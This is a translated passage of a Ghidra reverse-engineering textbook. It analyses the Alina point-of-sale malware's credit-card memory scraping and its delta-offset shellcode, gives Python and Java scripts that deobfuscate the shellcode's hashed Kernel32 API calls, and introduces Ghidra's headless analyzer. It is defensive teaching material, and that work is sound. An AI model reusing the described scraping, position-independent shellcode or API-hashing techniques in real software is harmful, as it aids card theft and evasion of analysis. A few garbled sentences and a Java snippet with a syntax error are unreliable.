图 5.43 – 读取进程内存

它首先通过VirtualQueryEx获取内存区域权限,并检查该区域是否处于MEM_IMAGE状态,这表示该区域内的内存页面已映射到图像段的视图中。它还会保护PAGE_READWRITE

然后,它调用ReadProcessMemory来读取内存,最后在FUN_004607c0中查找信用卡号码:

图 5.44 – 内存抓取过程

图 5.44 – 内存抓取过程

如你所见,local_28变量的大小为0x10字节(0x10代表信用卡号的 16 位数字),其首字节与数字3进行比较,正如我使用 Python 解释器打印的表格所示。该恶意软件在抓取过程中实现了 Luhn 算法,用于验证信用卡号的校验和:

图 5.45 – WinMain 中的重命名函数

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ghidra-sw-re-bg/img/B16207_05_045.jpg)

图 5.45 – WinMain 中的重命名函数

Luhn 算法使得可以通过控制码(称为校验和,即数字的某种表示形式)检查数字(在这种情况下是信用卡号)。如果某个字符被误读或写错,Luhn 算法将会检测到这个错误。

Luhn 算法因 Mastercard、美国运通AmEx)、Visa 及所有其他信用卡都使用它而广为人知。

总结

在本章中,你学习了如何使用 Ghidra 分析恶意软件。我们分析了功能丰富的 Alina POS 恶意软件,涉及的功能包括管道、线程、ring0 rootkit、shellcode 注入和内存抓取。

你还学到了坏人是如何通过网络犯罪活动每天赚钱的。换句话说,你了解了卡片技术。

在本书的下一章中,我们将介绍如何通过脚本化恶意软件分析来提高分析速度和效果,特别是提升我们对 Alina POS 恶意软件的分析。

问题

  1. 在恶意软件分析过程中,便携式可执行文件的导入信息提供了什么样的内容?通过结合LoadLibraryGetProcAddress API 函数可以做些什么?

  2. 处理 C++程序时,反汇编是否可以以某种方式得到改进?

  3. 在将代码注入到另一个进程中与在当前进程中执行代码相比,恶意软件注入代码有什么好处?

进一步阅读

你可以参考以下链接获取本章所涵盖主题的更多信息:

第六章:第六章:脚本化恶意软件分析

在本章中,我们将应用 Ghidra 的脚本能力进行恶意软件分析。通过使用和编写 Ghidra 脚本,你将能够更加高效地分析恶意软件。

你将学习如何静态解析 Alina shellcode 中使用的 Kernel32 API 哈希函数,该函数在上一章中进行了表面分析。

Flat API 是 Ghidra API 的简化版,但功能强大。它们是任何想要开发 Ghidra 模块和/或脚本的人的绝佳起点。

我们将通过将 Ghidra Flat API 函数分类来开始,以便在查找函数时更加得心应手。接下来,我们将学习如何使用 Java 和 Python 遍历代码,最后,我们将使用上述代码进行恶意软件的去混淆。

去混淆是将一个难以理解的程序转化为一个简单、易懂、直观的程序。现有工具可以将复杂的代码或程序转换为简单易懂的形式。混淆通常是为了防止逆向工程,使得恶意意图的人难以理解程序的内在功能。同样,混淆也可以用来隐藏软件中的恶意内容。去混淆工具用于逆向工程这些程序。虽然去混淆总是可能的,但攻击者通常试图利用以下的不对称性:混淆所需的努力较小,而去混淆则需要大量的努力。

本章将涵盖以下主要内容:

  • 使用 Ghidra 脚本 API

  • 使用 Java 编程语言编写脚本

  • 使用 Python 编程语言编写脚本

  • 使用脚本去混淆恶意软件样本

技术要求

本章的代码可以在github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners/tree/master/Chapter06找到。

查看以下链接,观看《代码实战》视频:bit.ly/36RZOMQ

使用 Ghidra 脚本 API

Ghidra 脚本 API 分为 Flat API(ghidra.app.decompiler.flatapi)和其他函数(ghidra.re/ghidra_docs/api/overview-tree.html),后者更为复杂。

Flat API 是 Ghidra API 的简化版,总结起来,它允许你执行以下操作:

  • 这些函数允许你处理内存地址:addEntryPointaddInstructionXrefcreateAddressSetgetAddressFactoryremoveEntryPoint

  • 使用这些函数进行代码分析:analyzeanalyzeAllanalyzeChangesanalyzeAllanalyzeChanges

  • 使用以下函数清除代码列表:clearListing

  • 以下函数允许你声明数据:createAsciiStringcreateAsciiStringcreateBookmarkcreateBytecreateCharcreateDatacreateDoublecreateDWordcreateDwordscreateEquatecreateUnicodeStringremoveDataremoveDataAtremoveEquateremoveEquateremoveEquates

  • 使用以下函数从内存地址获取数据:getIntgetBytegetBytesgetShortgetLonggetFloatgetDoublegetDataAftergetDataAtgetDataBeforegetLastDatagetDataContaininggetUndefinedDataAftergetUndefinedDataAtgetUndefinedDataBeforegetMemoryBlockgetMemoryBlocksgetFirstData

  • 以下函数允许你处理引用:createExternalReferencecreateStackReferencegetReferencegetReferencesFromgetReferencesTosetReferencePrimary

  • 这些函数允许你处理数据类型:createFloatcreateQWordcreateWordgetDataTypesopenDataTypeArchive

  • 使用以下函数将值设置到某个内存地址:setBytesetBytessetDoublesetFloatsetIntsetLongsetShort

  • 这些函数允许你创建代码片段:getFragmentcreateFragmentcreateFunctioncreateLabelcreateMemoryBlockcreateMemoryReferencecreateSymbolgetSymbolgetSymbolsgetSymbolAftergetSymbolAtgetSymbolBeforegetSymbolsgetBookmarks

  • 使用以下函数进行字节反汇编:disassemble

  • 这些函数允许你处理事务:endstart

  • 如果你想查找值,可以使用以下函数:findfindBytesfindPascalStringsfindStrings

  • 以下函数允许你在函数级别进行操作:getGlobalFunctionsgetFirstFunctiongetFunctiongetFunctionAftergetFunctionAtgetFunctionBeforegetFunctionContaininggetLastFunction

  • 以下函数允许你在程序级别进行操作:getCurrentProgramsaveProgramsetgetProgramFile

  • 以下函数允许你在指令级别进行操作:getFirstInstructiongetInstructionAftergetInstructionAtgetInstructionBeforegetInstructionContaininggetLastInstruction

  • 这些函数允许你处理等式:getEquategetEquates

  • 如果你想删除某个内容,可以使用以下函数:removeBookmarkremoveFunctionremoveFunctionAtremoveInstructionremoveInstructionAtremoveMemoryBlockremoveReferenceremoveSymbol

  • 这些函数允许你处理注释:setEOLCommentsetPlateCommentsetPostCommentsetPreCommentgetPlateCommentgetPostCommentgetPreCommentgetEOLCommenttoAddr

  • 使用以下函数对字节进行反编译:FlatDecompilerAPIdecompilegetDecompiler

  • 最后,其他一些杂项函数:getMonitorgetNamespacegetProjectRootFolder

这个参考资料在你开始使用 Ghidra 脚本时非常有用,可以帮助你识别所需的函数并在文档中查找原型。

使用 Java 编程语言编写脚本

正如你从上一章中了解到的,Alina 恶意软件包含注入到 explorer.exe 进程中的 shellcode。如果你想解混淆 shellcode 中的 Kernel32 API 函数调用,你需要识别调用指令。你还需要过滤这些函数,以便只提取所需的内容,最后,当然,你需要进行解混淆:

01\. Function fn = getFunctionAt(currentAddress);
02\. Instruction i = getInstructionAt(currentAddress);
03\. while(getFunctionContaining(i.getAddress()) == fn){
04.     String nem = i.getMnemonicString();
05.     if(nem.equals("CALL")){
06.         Object[] target_address = i.getOpObjects(0);
07.         if(target_address[0].toString().equals("EBP")){
08.             // Do your deobfuscation here.
09.         }
10.     }
11.     i = i.getNext();
12\. }

让我逐行解释这段代码是如何工作的:

  1. 它获取包含当前地址(聚焦地址)的函数(第01行)。

  2. 当前地址的指令也被获取(第02行)。

  3. 执行从当前指令到函数末尾的循环(第03行)。

  4. 获取指令的助记符(第04行)。

  5. 它检查助记符是否对应于 CALL 指令,这是我们感兴趣的指令类型(第05行)。

  6. 还会检索指令操作数(第06行)。

  7. 由于混淆的调用与存在哈希表的 EBP 地址相关,我们检查 EBP 是否是一个操作数(第07行)。

  8. 解混淆过程必须在这一行实现(第08行)。

  9. 检索下一条指令(第11行)。

在本节中,你学习了如何使用 Java 语言和 Ghidra API 编写脚本。在下一节中,你将学习如何使用 Python 完成相同的任务,我们将比较这两种语言在 Ghidra 脚本编写中的应用。

使用 Python 编程语言编写脚本

如果我们使用 Python 重写解混淆代码框架,代码如下:

01\. fn = getFunctionAt(currentAddress)
02\. i = getInstructionAt(currentAddress)
03\. while getFunctionContaining(i.getAddress()) == fn:
04.     nem = i.getMnemonicString()
05.     if nem == "CALL":
06.         target_address = i.getOpObjects(0)
07.         if target_address[0].toString()=='EBP':
08.             # Do your deobfuscation here.
09.     i = i.getNext()

如你所见,它与 Java 相似,不需要额外的解释。

开发 Ghidra 脚本时,并不需要记住所有函数。唯一重要的是明确你想做什么,并定位所需的资源,如文档,以便找到正确的 API 函数。

Python 是一门很棒的语言,拥有一个活跃的社区,开发了大量的库和工具。如果你想快速编写代码,Python 是一个不错的选择。不幸的是,Ghidra 没有实现纯 Python 支持,Ghidra 主要是用 Java 实现的,然后通过 Jython 移植到 Python。

理论上,你可以选择使用 Python 或 Java,但实际上,Jython 存在一些问题:

由于这里提到的因素,你可以决定是否使用更稳定的语言(如 Java)或更快但稍微不稳定的语言(如 Python)来编写脚本。请随意评估这两种选择并做出决定!

使用脚本对恶意软件样本进行去混淆

在上一章中,我们展示了 Alina 如何将 shellcode 注入到 explorer.exe 进程中。我们通过简单地读取字符串来分析这一过程,这是一种快速且实用的方法,但我们可以更准确地进行分析。让我们聚焦于一些 shellcode 的细节。

增量偏移

在注入代码时,它被放置在开发时未知的位置。因此,数据不能通过绝对地址访问;相反,必须通过相对位置访问。shellcode 在运行时检索当前地址。换句话说,它检索 EIP 寄存器。

EIP 寄存器在 x86 架构(32 位)中的作用是指向下一个要执行的指令;因此,它控制程序的执行流程。它决定了下一条要执行的指令。

但是,由于 EIP 寄存器是通过控制转移指令、中断和异常间接控制的,无法直接访问,因此它通过恶意软件执行以下技术来恢复:

  1. 执行一个 CALL 指令,指向 5 字节远的地址。因此,调用会执行两个更改:

    • 它将返回地址(下一条指令的地址)推入堆栈,该地址为 0x004f6105

    图 6.1 – CALL 指令将返回地址推入堆栈

    图 6.1 – CALL 指令将返回地址推入堆栈

    • 它将控制权转移到目标地址:

    图 6.2 – CALL 指令将控制流转移到目标地址

    图 6.2 – CALL 指令将控制流转移到目标地址

  2. 然后,它通过 POP EBP 恢复堆栈中存储的地址。该指令执行以下操作:

    • 它移除堆栈上最新推入的值:

    图 6.3 – POP 指令移除堆栈上最新推入的值

    图 6.3 – POP 指令移除堆栈上最新推入的值

    • 它将值存储到目标寄存器中,此处为 EBP

    图 6.4 – POP 指令将移除的堆栈值存储到目标 EBP 寄存器

    图 6.4 – POP 指令将移除的堆栈值存储到目标 EBP 寄存器

  3. 最后,它从 EBP 寄存器中减去 0x5 单位,以获取存储在 EBP 中的 EIP 值(即我们在执行 CALL 指令时的值,而非当前的值):图 6.5 – SUB 指令从 EBP 寄存器中减去 5 个单位

图 6.5 – SUB 指令从 EBP 寄存器中减去 5 个单位

通过使用这个技巧,恶意软件开发者可以通过EBP寄存器(shellcode 的起始地址)加上偏移量来引用数据值。使用这种技术,生成的代码是位置无关的;无论将 shellcode 放置在哪个位置,它都会正常工作。

你可以通过以下代码片段检查这一点:

图 6.6 – 存储在 EBP 寄存器中的增量偏移量,用于位置无关代码

图 6.6 – 存储在 EBP 寄存器中的增量偏移量,用于位置无关代码

这个技巧通常被称为0x5e2,它是相对于 shellcode 起始地址的偏移量:

图 6.7 – 存储 API 哈希表的基地址

图 6.7 – 存储 API 哈希表的基地址

之后,一个函数负责将 Kernel32 API 函数的哈希值替换为函数地址,从而允许你从程序中调用它。

一旦替换完成,很多调用就通过这个哈希表的偏移量进行,这个哈希表现在已经被转换为一个 API 地址表:

图 6.8 – 通过相对偏移量调用已解析的 API 函数

图 6.8 – 通过相对偏移量调用已解析的 API 函数

如你所见,反汇编显示了指向EBP相对偏移量的CALL指令。更希望看到被调用函数的名称。我们提升反汇编以显示函数名的目标是这样的,但是作为第一步,在下一部分,你将学习如何将 API 哈希替换为它们相应的 API 函数地址。

翻译 API 哈希为地址

以下函数负责用对应的函数地址替换函数的哈希值:

图 6.9 – 负责用地址替换函数哈希表的函数

图 6.9 – 负责用地址替换函数哈希表的函数

之前的代码遍历了每个 API 名称,这些名称从kernel32.dll库的导出表的AddressOfNames部分提取出来。

如果你有分析可移植执行文件(Portable Executable,PE)格式的背景,识别上述功能就很容易了,因为代码中的一些偏移量非常显眼。让我们来看一下在之前的apiHashesToApiAdresses反汇编中显示的偏移量和可移植执行文件格式字段之间的对应关系:

  • 0x3c 对应于 e_lfanew 字段,表示相对虚拟地址RVA)的可移植执行文件头。

  • 0x78 是导出表的 RVA。

  • 0x20 是指向导出表的名称指针表的 RVA。

  • 0x1c 是指向导出表的地址表的 RVA。

  • 0x24 是指向导出表的顺序表的 RVA。

  • 0x18 是名称数量的 RVA,这是循环迭代的最大次数。

图 6.9中的第21行和第22行是去混淆代码的关键部分。在这些行中,对于 API 的每个字符,都会应用一系列逻辑操作。这些操作可以很容易地转化为 Python 代码,如以下 Python shell 命令所示:

>>> apiname = "lstrlenW"
>>> hash = 0
>>> for c in apiname:
...     hash = hash << 7 & 0xffffff00 | ( (0xFF&(hash << 7)) | (0xFF&(hash >> 0x19)) ^ ord(c))
...
>>> print(hex(hash))
0x2d40b8f0L

让我澄清这四条 Python 命令:

  1. 我们将lstrlenW字符串存储在apiname变量中,因为我们要计算它的哈希值。通过这种方式,我们正在对一个真实的kernel32.dll API 名称测试我们的 Python 代码。

  2. 我们将hash值初始化为0。这是此哈希算法的第一步。

  3. 我们遍历lstrlenW字符串中的每个字符(变量c),同时根据哈希算法更新hash变量的值。

  4. 最后,我们使用十六进制表示法打印哈希值。请注意,哈希值末尾的L字符表示长整型数据类型,并不属于哈希的一部分。

当然,提到的代码也可以转换成 Java:

class AlinaAPIHash {
	public static void main(String args[]) {
		int hash = 0;
		String apiName = "lstrlenW";
		for (int i=0; i<apiName.length(); i++) {
			hash = (hash << 7 &
                        0xFFFFFF00 | hash << 7 &
                        0xFF | hash >> 0x19 &
                        0xFF ^ apiName.charAt(i)
                 );
			System.out.println(String.format("0x%08X",
                                                 hash)
                 );
		}
		System.out.println(String.format("0x%08X", hash))
	}
}

在本节中,你了解了 API 哈希如何工作,并且学习了如何将算法从汇编语言转换为 Python 和 Java。在下一节中,我们将使用提到的代码来解析被调用函数的名称,并将其添加到反汇编列表中。

使用 Ghidra 脚本去混淆哈希表

在自动去混淆程序之前,我们需要Kernel32.dll导出的 API 函数名称的完整列表。你可以在专门的 GitHub 仓库中找到以下脚本(get_kernel32_exports.py),它使用 Python 的pefile模块来实现这一目的:

01 import pefile
02 pe=pefile.PE("c:\windows\system32\kernel32.dll")
03 exports=set()
04 for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
05    exports.add(exp.name.encode('ascii'))

这个列出的代码执行了以下操作:

  1. 导入pefile模块,允许解析便携式可执行文件格式,这是微软 Windows 操作系统中用于可执行文件、目标代码、DLL 等的 32 位和 64 位版本的文件格式。

  2. 将解析后的Kernel32.dll便携式可执行文件的实例存储在pe

  3. 创建一个空的Kernel32.dll导出函数集合

  4. 遍历Kernel32.dll导出的函数

  5. 检索导出函数的名称(使用 ASCII 字符编码)并将其添加到exports集合中。

前面脚本生成的结果是一个包含 Kernel32 导出函数的集合,如以下部分输出所示:

exports = set(['GetThreadPreferredUILanguages', 'ReleaseMutex', 'InterlockedPopEntrySList', 'AddVectoredContinueHandler', 'ClosePrivateNamespace', … ])

最后,我们可以将所有部分组合在一起,从而自动化解决哈希 Kernel32 API 地址的任务:

01\. from ghidra.program.model.symbol import SourceType
02\. from ghidra.program.model.address.Address import *
03\. from struct import pack
04.
05\. exports = set(['GetThreadPreferredUILanguages', 'ReleaseMutex', 'InterlockedPopEntrySList', 'AddVectoredContinueHandler', 'ClosePrivateNamespace', 'SignalObjectAndWait', …])
06\. def getHash(provided_hash):
07.     for apiname in exports:
08.         hash = 0
09.         for c in apiname:
10.             hash = hash << 7 & 0xffffff00 | ( (0xFF&(hash << 7)) | (0xFF&(hash >> 0x19)) ^ ord(c))
11.             if(provided_hash==pack('<L', hash)):
12.                 return apiname
13.     return ""
14\. fn = getFunctionAt(currentAddress)
15\. i = getInstructionAt(currentAddress)
16\. while getFunctionContaining(i.getAddress()) == fn:
17.     nem = i.getMnemonicString()
18.     if nem == "CALL":
19.         target_address = i.getOpObjects(0)
20.         if target_address[0].toString()=='EBP':
21.             current_hash = bytes(pack('<L', getInt(currentAddress.add(int(target_address[1].toString(),16)))))
22.             current_function_from_hash = getHash(current_hash)
23.             setEOLComment(i.getAddress(), current_function_from_hash)
24.             print(i.getAddress().toString() + " " + nem + "[EBP + "+target_address[1].toString()+ "]" + " -> " + current_function_from_hash)
25.     i = i.getNext()

总结一下,我们正在做以下操作:

  1. 我们在第05行声明了 Kernel32 API 名称的集合。

  2. 我们正在寻找与提供的哈希值匹配的 API 名称,位于第06行。

  3. 我们在第14行到第20行之间遍历函数,寻找混淆的调用。

  4. 最后,我们在第23行和第24行分别设置了一个注释并打印了函数的名称。

脚本的执行会在反汇编列表中产生以下变化(关于调用函数的注释):

图 6.10 – 脚本生成的注释,指示已解析的 Kernel32 API 函数

图 6.10 – 脚本生成的注释,指示已解析的 Kernel32 API 函数

显示函数名称总比什么都不显示好,但显示符号更好,因为它们不仅引用函数,还显示了函数名称。在接下来的部分,你将看到如何添加这个改进。

改进脚本结果

你还可以通过向其中添加必要的 Kernel32 符号来改善结果。例如,你可以在符号树窗口中查找CreateFileA符号:

图 6.11 – 查找 CreateFileA 符号

图 6.11 – 查找 CreateFileA 符号

将此符号附加到当前程序,并通过双击它访问函数地址:

图 6.12 – 查找 CreateFileA API 地址

然后,使用Ctrl + Shift + G键组合修补CALL指令:

图 6.13 – 编辑 CALL 指令

图 6.13 – 编辑 CALL 指令

使用之前获得的CreateFileA地址修补它:

图 6.14 – 使用目标 CreateFileA API 地址修补 CALL 指令

图 6.14 – 使用目标 CreateFileA API 地址修补 CALL 指令

按下R键,并将此引用设置为INDIRECTION

图 6.15 – 修改 CALL 地址引用类型为 INDIRECTION

图 6.15 – 修改 CALL 地址引用类型为 INDIRECTION

经过此修改后,代码被更改,允许 Ghidra 在分析代码时识别函数参数、识别对函数的引用等,这总比添加注释要好。在下方的截图中,你可以看到修改后的反汇编清单:

图 6.16 – 使用符号而非注释的反汇编清单

图 6.16 – 使用符号而非注释的反汇编清单

如你所见,在分析恶意软件时,脚本非常有用,因为诸如字符串去混淆、解析 API 地址、代码去混淆等重复性任务,可以通过编写几行简单的代码来完全自动化。

此外,你写的脚本越多,你的效率就会越高,你也可以在未来的脚本和项目中复用更多代码。

总结

在本章中,你学习了如何使用脚本在使用 Ghidra 分析恶意软件时提高效率。我们已经使用脚本突破静态分析的局限,解决了一些在运行时计算的 API 函数哈希值。

你还学到了在开发脚本时使用 Python 或 Java 的优缺点。

你学会了如何将汇编语言算法转换为 Java 和 Python,并且在开发第一个极为有用的脚本时,还学到了脚本编写技能。通过使用提供的 Ghidra Flat API 函数分类,你现在可以快速识别自己脚本所需的 Ghidra API 函数,而无需记住或浪费时间查找文档中的函数。

在本书的下一章中,我们将介绍 Ghidra 的无头模式,它在一些情况下非常有用,例如分析大量二进制文件或单独使用 Ghidra 将其与其他工具集成。

问题

  1. 给定一个内存地址,哪个 Ghidra Flat API 允许你设置位于该内存地址的字节?描述你在寻找这个函数时遵循的步骤。

  2. Ghidra 最佳支持的编程语言是什么?Ghidra 如何支持 Python?

  3. 是否可以静态分析那些在运行时解决的问题?

进一步阅读

你可以参考以下链接以获取更多关于本章涉及话题的信息:

第七章:第七章:使用 Ghidra 无头分析器

在本章中,你将了解 Ghidra 的非 GUI 功能,这些功能在分析多个二进制文件、自动化任务或将 Ghidra 与其他工具集成时非常有用。

你可能看过一些电影,里面的黑客使用黑色终端和绿色字体。这种刻板印象是有一定事实依据的。GUI 应用程序很美观,用户友好且直观,但它们也很慢。在分析 Ghidra 无头模式之后,你将学到为什么 shell 应用程序和基于命令行的工具在许多情况下是最有效的解决方案。

无头分析器是 Ghidra 的一个强大的基于命令行(非 GUI)版本,本章将介绍它。

在本章中,我们将学习为什么基于命令行的工具在许多情况下非常有用。我们将学习如何使用无头模式来填充项目,以及如何对现有的二进制文件进行分析。我们还将学习如何使用 Ghidra 无头分析器在项目中运行非 GUI 脚本(以及不使用 GUI 功能的 GUI 脚本)。

本章将涵盖以下主题:

  • 为什么使用无头模式?

  • 创建和填充项目

  • 对导入或现有二进制文件进行分析

  • 在项目中运行非 GUI 脚本

技术要求

本章的代码可以在 github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners/tree/master/Chapter07 找到。

查看以下链接,观看《代码实战》视频:bit.ly/3oAM6Uy

为什么使用无头模式?

正如前面所说,非 GUI 应用程序可以让你工作得更快,因为通常来说,写一个命令比执行 GUI 操作(如点击菜单选项、填写表单然后提交)要快。

另一方面,非 GUI 应用程序可以很容易与脚本集成,使你能够将一个过程应用于多个二进制文件,将应用程序与其他工具集成,等等。

假设你正在使用 Ghidra 分析一些恶意软件,然后你识别出一个包含 命令与控制C&C) URL 的加密字符串,指向控制恶意软件的服务器。然后,你需要提取成千上万个恶意软件样本的 C&C URL,以便对域名进行沉没,换句话说,以便停用成千上万个恶意软件样本。

鉴于这种情况,将每个恶意软件样本加载到 Ghidra 中并查找 C&C URL 不是一个选项,即使你已经开发了一个脚本来解密 C&C URL,因为它将消耗比必要更多的时间。在这些情况下,你将需要使用 Ghidra 无头模式。

Ghidra 无头模式可以通过位于 Ghidrasupport目录中的analyzeHeadless.batanalyzeHeadless脚本(分别适用于 Microsoft Windows 和 Linux/macOS 操作系统)启动。命令语法如下:

analyzeHeadless <project_location> <project_name>[/<folder_path>] | ghidra://<server>[:<port>]/<repository_name>[/<folder_path>]
    [[-import [<directory>|<file>]+] | [-process [<project_file>]]]
    [-preScript <ScriptName> [<arg>]*]
    [-postScript <ScriptName> [<arg>]*]
    [-scriptPath "<path1>[;<path2>...]"]
    [-propertiesPath "<path1>[;<path2>...]"]
    [-scriptlog <path to script log file>]
    [-log <path to log file>]
    [-overwrite]
    [-recursive]
    [-readOnly]
    [-deleteProject]
    [-noanalysis]
    [-processor <languageID>]
    [-cspec <compilerSpecID>]
    [-analysisTimeoutPerFile <timeout in seconds>]
    [-keystore <KeystorePath>]
    [-connect [<userID>]]
    [-p]
    [-commit ["<comment>"]]
    [-okToDelete]
    [-max-cpu <max cpu cores to use>]
    [-loader <desired loader name>]

如你所见,Ghidra 无头模式既可以处理单独的项目,也可以处理共享项目,这些项目必须指定为server存储库 URL,并使用ghidra://协议。

Ghidra 无头模式文档

如果你想了解更多关于 Ghidra 无头模式的细节和参数,请查看包含在 Ghidra 程序发行版中的离线文档:ghidra.re/ghidra_docs/analyzeHeadlessREADME.html

本章将讨论大多数 Ghidra 无头模式参数,但更详尽的信息可在 Ghidra 无头模式文档中找到。

创建并填充项目

使用 Ghidra 无头模式可以执行的最简单操作是创建一个包含二进制文件的项目。

正如我们在第一部分中所做的,Ghidra 入门,让我们创建一个新的空项目(我将其命名为MyFirstProject,并将其放在C:\Users\virusito\projects目录中),该项目包含一个名为hello_world.exehello world二进制文件。

注意

请注意,C:\Users\virusito\projects目录必须存在,因为它不会为你自动创建。另一方面,MyFirstProject将由 Ghidra 创建,因此你不需要手动创建它。

还要注意,如果在命令中包含可选的[/<folder_path>]文件夹路径,则导入的内容将位于该项目文件夹下。

请执行以下命令来创建位于C:\Users\virusito\projects目录中的MyFirstProject Ghidra 项目:

C:\ghidra_9.1.2\support>mkdir c:\Users\virusito\projects
C:\ghidra_9.1.2\support>analyzeHeadless.bat
C:\Users\virusito\projects MyFirstProject –import C:\Users\virusito\hello_world\hello_world.exe

你将看到以下输出:

图 7.1 – 使用 Ghidra 无头模式创建 Ghidra 项目

图 7.1 – 使用 Ghidra 无头模式创建 Ghidra 项目

如输出的INFO部分所示,已对hello_world.exe文件进行了分析。你可以通过在前面的命令中添加–noanalysis标志来省略分析。此 Ghidra 无头模式命令的结果是以下项目:

图 7.2 – 使用 Ghidra 无头模式创建的 Ghidra 项目

图 7.2 – 使用 Ghidra 无头模式创建的 Ghidra 项目

你也可以通过使用通配符一次添加多个二进制文件:

  • *匹配一系列字符

  • ?匹配单个字符

  • [a-z]匹配一个字符范围

  • [!a-z]匹配当字符范围不出现时

例如,我们可以创建一个名为MyFirstProject的项目,包含hello_world目录中所有的可执行文件:

C:\ghidra_9.1.2\support> analyzeHeadless.bat C:\Users\virusito\projects MyFirstProject -import C:\Users\virusito\hello_world\*.exe

还可以指定一些有趣的标志:

  • 包含-recursive标志以分析子文件夹。

  • 包括-overwrite标志以在项目中存在冲突时覆盖现有文件。

  • 包括-readOnly标志以不将导入的文件保存到项目中。

  • 包括-deleteProject标志以在脚本和/或分析完成后删除项目。

  • 包括-max-cpu <max cpu cores to use>标志以限制无头处理期间使用的 CPU 核心数。

  • 包括-okToDelete标志以允许程序在-process模式下处理时删除项目的二进制文件。以下选项允许您控制程序处理方式:

    • 使用HeadlessContinuationOption.ABORT来中止执行此脚本后执行的脚本或分析。

    • 使用HeadlessContinuationOption.ABORT_AND_DELETE作为HeadlessContinuationOption.ABORT,但也删除当前(现有的)程序。

    • 使用HeadlessContinuationOption.CONTINUE_THEN_DELETE在处理后删除(现有的)程序。

    • 使用HeadlessContinuationOption.CONTINUE来进行分析和/或运行脚本。

  • 包括-loader <desired loader name>以强制使用特定加载器导入文件。

  • 包括-processor <languageID>和/或-cspec <compilerSpecID>以指示处理器信息和/或编译器规范。可用的语言和编译器规范都位于ghidra_x.x\Ghidra\Processors\proc_name\data\languages\*.ldefs目录中。

  • 包括-log <path to log file>以将用户的分析和非脚本日志信息从application.log目录文件更改为给定的日志文件路径。

在本节中,您学习了如何使用无头模式创建项目并将其与二进制文件填充。在下一节中,您将学习如何对 Ghidra 项目的二进制文件执行分析。

在导入或现有二进制文件上执行分析

如前所述,在创建项目时,默认执行分析。另一方面,您还可以使用以下参数运行预处理/后处理脚本(这些类型的脚本将在本节后面讨论)和/或分析给定项目:

-process [<project_file>]	

例如,您可以对位于MyFirstProject中的hello_world.exe文件执行分析:

C:\ghidra_9.1.2\support> analyzeHeadless.bat C:\Users\virusito\projects MyFirstProject -process hello_world.exe

当执行此命令时,您当然也可以使用通配符和/或-recursive标志。

C:\ghidra_9.1.2\support> analyzeHeadless.bat C:\Users\virusito\projects MyFirstProject -process '*.exe'

注意

在导入文件时,请确保指定的项目在 Ghidra GUI 中尚未打开。

还要考虑到,批量导入时,以.开头的文件将被忽略。

除了分析单个文件或一组文件之外,您还可以运行针对这些文件的脚本。

实际上,您正在运行的脚本类型是根据分析时间命名的:

  • 前处理脚本:这些类型的脚本将在分析之前执行。语法如下:

    -preScript <ScriptName.ext> [<arg>]* 
    
  • 后处理脚本:这些类型的脚本将在分析之后执行。语法如下:

    -postScript <ScriptName.ext> [<arg>]*
    

执行前/后脚本时,如你在语法中所见,你只需要提供脚本的名称,而不是完整路径。这是因为脚本会在 $USER_HOME/ghidra_scripts 中进行查找。你可以通过配置用 ; 字符分隔的路径列表来修改此行为:

-scriptPath "$GHIDRA_HOME/Ghidra/Features/Base/ghidra_scripts;/myscripts"

还请注意,对于 Linux 系统,你需要转义反斜杠字符:

-scriptPath "\$GHIDRA_HOME/Ghidra/Features/Base/ghidra_scripts;/myscripts"

路径必须以 $GHIDRA_SCRIPT(对应 Ghidra 安装目录)或 $GHIDRA_HOME(对应用户主目录)开头。

设置分析超时

你可以设置分析超时,以便在分析花费太长时间时中断分析。为此,请使用以下语法:-analysisTimeoutPerFile <超时秒数>

当达到超时时,分析会被中断,后续脚本会按计划执行。后续脚本可以通过 getHeadlessAnalysisTimeoutStatus() 方法检查分析是否被中断。

也可以指定一些有趣的选项:

  • 设置 *.properties 文件所在的路径,这些文件由脚本或次级子脚本使用。请注意,路径必须以 $GHIDRA_SCRIPT 开头:

    -propertiesPath "<path1>[;<path2>…]"
    
  • 设置脚本日志信息的输出路径:

    –scriptlog <path to script log file>
    

现在你了解了 Ghidra 中有哪些脚本,接下来,我们将讨论如何在 Ghidra 项目中实现并运行它们。

在项目中运行非图形界面脚本

如前所述,你可以使用 Ghidra 的无头模式在文件分析之前和之后运行脚本(分别为前脚本和后脚本)。

如你所知,非图形界面脚本无需人工交互,因此建议编写一个扩展自 HeadlessScript 类的无头脚本,同时它也扩展自已经熟悉的 GhidraScript 类。

但扩展自 HeadlessScript 不是必须的。你可以直接编写一个扩展自 GhidraScript 类的图形界面脚本,当在无头模式下运行时也能正常工作,但如果调用了一些特定于 GUI 的方法,则会抛出 ImproperUseException

反过来也有类似的情况。当一个扩展自 HeadlessScript 的脚本在 Ghidra 的图形界面模式下运行时,如果调用了一个仅限 HeadlessScript 的方法,也会抛出异常。

让我们适配一个现有的 Ghidra 脚本,当前它扩展自 GhidraScript,使其扩展自 HeadlessScript,并观察它是如何工作的,以及它如何在实践中发挥作用(为简洁起见,Apache License, Version 2.0 头部已省略):

//Prompts the user for a search string and searches the 
//program listing for the first occurrence of that string.
//@category Search
import ghidra.app.script.GhidraScript;
import ghidra.program.model.address.Address;
public class FindTextScript extends GhidraScript {
    /**
     * @see ghidra.app.script.GhidraScript#run()
     */
    @Override
    public void run() throws Exception {
		if (currentAddress == null) {
			println("NO CURRENT ADDRESS");
			return;
		}
		if (currentProgram == null) {
			println("NO CURRENT PROGRAM");
			return;
		}
        String search = askString("Text Search", "Enter search string: ");
        Address addr = find(search);
        if (addr != null) {
            println("Search match found at "+addr);
            goTo(addr);
        }
        else {
            println("No search matched found.");
        }
    }
}

我们可以进行以下可选修改:

  • import ghidra.app.script.GhidraScript 替换为 ghidra.app.util.headless.HeadlessScript

  • 继承自 HeadlessScript 而不是 GhidraScript

  • FindTextScript 类重命名为 HeadlessFindTextScript

我们需要执行以下强制修改:

  • 要将参数传递给 askXxx() 方法(如 askString()),你需要创建一个 *.properties 文件。因此,让我们创建一个 HeadlessFindTextScript.properties 文件,其中包含所需的字符串:

    #
    # This is the HeadlessFindTextScript.properties file
    #
    Text Search Enter search string: = http://
    
  • 输出字符串值,而不仅仅是其地址:

    String addrValue = getDataAt(addr).getDefaultValueRepresentation();
    println("0x" + addr + ": " + addrValue);
    

这是在对原始脚本应用上述修改后的结果(Apache License, Version 2.0 头部已省略以简化展示):

//Prompts the user for a search string and searches the
//program listing for the first occurrence of that string.
